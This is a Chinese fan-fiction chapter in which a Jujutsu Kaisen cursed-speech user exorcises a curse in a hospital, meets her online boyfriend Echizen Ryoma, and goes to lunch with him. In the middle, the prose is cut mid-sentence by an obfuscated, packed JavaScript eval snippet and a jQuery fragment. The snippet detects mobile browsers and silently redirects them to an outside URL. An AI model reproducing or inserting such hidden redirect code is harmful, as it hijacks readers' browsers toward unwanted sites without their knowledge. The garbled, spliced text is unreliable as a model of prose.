人在圣心医院,现在很累。
我追着那只已经算是奄奄一息的咒灵,有些崩溃。
为什么快死了还能跑得这么快啊!
本来一切可以很顺利的,谁知五条老师和真希负责的特级咒灵以及它的分身们突然出现在了五楼,我和棘不得不超负荷使用咒言,直接吐血了。
后来五条老师激起了它的胜负欲,它被引走了,但我的嗓子也快哑了。
经历一番打斗后,我彻底无法说话,只能跟着它等嗓子恢复。
所以现在才会这么狼狈。
我从五楼追到七楼,再从七楼追到五楼。幸好在提前搬空的五到七楼设了帐,不然我就完蛋了。
不行了,真的要被累死了。
我拼尽全力,挤出濒临死亡般沙哑的嗓音:“去死。”
它终于倒下了。
我也向后倒,开始狂吐血。
就这样休息一会儿吧……
脚步声响起,我抬头,是解决完另一只咒灵,同样面色苍白失血过多的棘。
他好像也无法发声,指了指喉咙,在我有没有事。
我无力地点点头。
有事。
他在我旁边坐下,拿起手机,向我示意他已经给五条老师和新田小姐发送了任务完成的短信。
好的乖孩子。
我拍拍他的头。
他也摸摸我的。
我一把扯下。
帐已经被撤下,我和棘擦干脸上的血渍,整理一下打算爬楼梯下去。
因为咒灵的缘故电梯上不了五楼,也无法从五楼下去。
走到楼梯拐口,我看向窗外,风景挺优美的,人口不算密集,给人一种宽阔闲适的感觉。
……等等,刚刚好像什么东西闪了过去。
我快速提醒棘,飞奔至下一层。
路过楼梯转角,我又往窗外看了一眼,发现它正黏在窗户上。
棘也跟着停下,看向它。
那是一小团很黏糊的咒灵,像是从其他咒灵身上掉下来的肉一样。
……它也看到了我们,惊恐地往下逃窜。
刚好遇上我们两个哑了的咒言师,算它走运。
我扒着窗户往下看,发现它挤进了三楼的一个房间。
“芥菜。”交给我吧。
棘能够发声了,率先下楼,我紧跟其后。
我们来到三楼刚刚看到的房间附近,连着几间都是骨科医生问诊室。这边人很多,如果等一会儿咒灵还没出来,我和棘可能就要敲门打扰里面的人了。
余光里旁边问诊室门缝里窜出一个东西。
我定睛一看,是那个咒灵,它竟然声东击西混淆视野。
棘也注意到了,我们赶快追过去。走廊人不少,如果被遮挡视野再使用咒言很容易误伤别人,所以最好追到它。
越往前人越少,它几乎没了遮蔽物。
忽然,它跳上了一个人的肩膀,躲在了他的背后。
我将视线转移到那人身上。
高个子,琥珀色猫瞳,帽檐压得很低,但仍能看见几缕墨绿色碎发。
……越前龙马。
五条老师现在能不能突然冒出来喊我们回家吃饭。
“狗卷祈……和祈的哥哥?”他看着我们两个,试探着开口。
我生无可恋地点头承认。
完了,全完了。
谁能想到,东京这么多家医院,这么多人,都能碰巧在这里遇上网恋对象,那我之前绞尽脑汁地躲避算什么。
棘似乎看懂了眼前的局面,眨着大眼睛问我怎么办。
龙马的出现让我们的行动变得有些困难,我们都不知道要不要在他面前展示咒言。
……不管了,都是那个咒灵的错,先把它拔除再说。
而且它看上去快缠上它选中的倒霉少年了。
我快速上前,一把拉住龙马的手,不顾他惊讶的眼神往后退,他也跟着我往前走。
“你……”他疑惑,但我现在顾不上解释。
咒灵感受到威胁,从他后背跳下,爬到旁边的房间门口,意图从门缝溜走。
但这恰好给了棘机会。
“消失吧。”他毫不犹豫地使用咒力。
终于解决了。
……其实并没有。
我松开他的手,他仍然保持被拉住的手势,又后知后觉地放在腿侧。他看看我,又看看棘,脸很红,不知道是惊的还是吓的。
从他的视角看,我莫名其妙拉着他的手往后退,棘更是疯了一样对着空气说话。这确实也太奇怪了吧…
千万不要把我和棘当成神经/病啊。
短短几秒内,我的大脑极速思考出几种解决方案。
……
有办法了。
我在备忘录上打字:[刚刚你的后背有只蜘蛛,我把你拉过来吓走了它。然后……我哥哥他有点中二病……你懂的。]
他沉默了两秒:“……谢谢。”又看向我说道,“你的嗓子怎么了?”
[哑了。]我如实回答。
[来医院就是想看看嗓子。]再略微撒一点小谎。
“你们两个竟然在这里!不是说已经结束了吗!”真希怒气冲冲地走来。
完了,真希和我们乘坐的是同一辆车,忘了提前和她说一声了。
看清我面前的少年后,她的怒气又匆匆消散。
她见过龙马的照片。
“哦,原来是遇上熟人了啊。”她看向龙马,“你好,我叫禅院真希,祈和棘的朋友。”
“你好,我是越前龙马。”
“海带。”棘走向前打招呼,向他伸出一只手。
龙马似乎接受了他的中二病人设,只愣了一秒就回握住。
真是一次温馨的见面啊……如果过程没有那么胆战心惊的话。
“走吧棘,五条老师说莉莉快生了,我们快回学校帮忙。”真希扯着棘的袖子,拔腿就跑,“再见,两位。”
“鲑鱼。”
……?莉莉不是校长做失败的玩偶吗?生什么啊?!
还有,我呢?没记错的话我应该也是咒术高专的吧?
……
现在怎么办。
我看着这位熟悉又陌生的男友,眨眨眼。
他偏过头,压了压帽檐:“……去吃午饭吗?”
我点点头。
—
现实中谈恋爱需要做什么?
好像要牵手和亲亲吧,因为我在软件上看到过情侣贴贴的表情包。
有点紧张,不敢看他。
原本现实中就很少避免和人交流了,旁边的人还是男朋友。
他在想什么呢?
好想悄悄偷看一下他的表情。
我故意放慢一点脚步,想等稍微落后一点点的时候仰头看一下他的脸,他的视角应该不会注意到。
……可是他怎么也慢下来了。
我再慢一点。
他也慢一点。
你的长腿是用来陪我胡闹的吗,拜托走快一点……
“累了吗?”他忽然转头问我。
我吓了一跳,身体也随之微颤。
“……抱歉。”
我摆摆手表示没事,再摇摇头表示不累。
他看懂了,点了点头。
然后又转过头,把帽檐压得更低。
压这么低能看清路吗?几乎快把眼睛挡完了吧。
而且他真的好喜欢这个动作。
但确实很酷,我以后也可以买一个玩玩,到时候棘可崇拜死我了。
忽然想起龙马是网球明星欸!
所以压低帽子是为了减少别人认出他的几率吧,我记得他们这些网球选手粉丝也是很多的,我可不太想因为走在他旁边连带着受到关注。
像现在这样就很好,没有人注意到我们,大家都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174413|196880||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在赶路。
不过美食街上人真的好多,不愧是周末。
我走路喜欢低着头,倒也因此能够提前预判对方的落脚点,提前让路。
我侧身让一对母女走过,与此同时有人见缝插针,像泥鳅一样从我和龙马之间滑过。
……我失去视野了。
我和龙马被人群阻隔开,矮个子的我完全看不到他去哪儿了。
而且很少有人侧身给我让路,我必须很费劲才能挤过去。
所以为什么会有人逆行啊!
临近崩溃点,有人拍了拍我的肩膀。
我转头,一抹透亮的琥珀色映入眼帘。
是龙马。
我像是一条快渴死的鱼,终于被人从自行车上解救,放入水中。
但他怎么在我后面。
“牵手吗?人越来越多了,这样不容易走散。”他又按了按自己的帽子。
我拉住他的手,给出回应。
但我被放入的水好像是沸水,不然为什么感觉脖子以上的部分在迅速发热。
“我绕了一圈过来的,不是灵异事件。”他贴心解释。
没事,多灵异的事情我都遇到过。
说话成真这种事本身就够灵异的了。
他走在我前面,手臂往后伸,牢牢牵着我,我在他的身后完美摆脱了被挤的命运。
终于,到目的地了,我们一致选定的泰国菜餐厅。
我选了一个靠窗的位置,龙马顺势坐在我旁边。
服务员递上菜单,龙马把它放在我面,我随意挑选了一个看着漂亮的菜,就把它推过去了。
最不擅长做选择了。
“你可以吃肉吗?”龙马低头看着我。
我疑惑地点头。
这是个什么奇怪的问题。
我看上去像个素食主义者吗?
[为什么这么问?]我实在太好奇了,直接打字问他。
他反而看上去有点疑惑了:“你上的不是宗教学校吗,我怕有什么规定,提前问一下。”
……确实哈。
咒术高专在外界流传的就是宗教学校。
好细心,得打字夸夸:[贴心的龙马,真棒~]
龙马低头看了一眼,又快速偏过头:“……谢谢。”
像是想起什么,他又转回来,笑了笑:“你也很贴心,真棒。”
我满脸疑问地看着他。
不知道哪里戳中了他的笑点,他偏过头,笑容扩大。
……所以到底是什么。
我扯了扯他的衣角,迫切地想要知道。
“因为你帮我赶走了蜘蛛,不是很棒吗?”他仍然笑着,很奇怪的感觉,既带着漫不经心的洒脱,又像是在想什么鬼点子。
搞不懂。
但这话倒是没错,如果不是我拉他一下,也不会让应激的咒灵从他后背下来。
……所以我当时直接拉他的手了!
当时根本没觉得有什么,现在后知后觉有点不好意思。
因为我从没拉过男生的手。
而且龙马还是男朋友,这种感觉就更奇怪了,说不上来。
忽然感觉这个空间好小,我们两个挨得也太近了吧。
我悄悄往里面移了一点。
感觉我现在不是被放入沸水中准备煮了吃的鱼,而是被放入岩浆的鱼。
没有恋爱经验和缺少人际交往经验实在是太糟糕了,光是坐在一起都会害羞。
龙马现在在做什么。
我微微侧身,仰头看着他的侧脸。
他捏住帽尖往下拉了一点点。
“有点热,你觉得呢?”他将视线转向我,又移开。
……你移开了视线怎么看得到我点头回应啊。
我又拉拉他的衣角,示意他看向我。
“……怎么了?”
……店里空调温度还可以调低一点吗,他都热成这样了。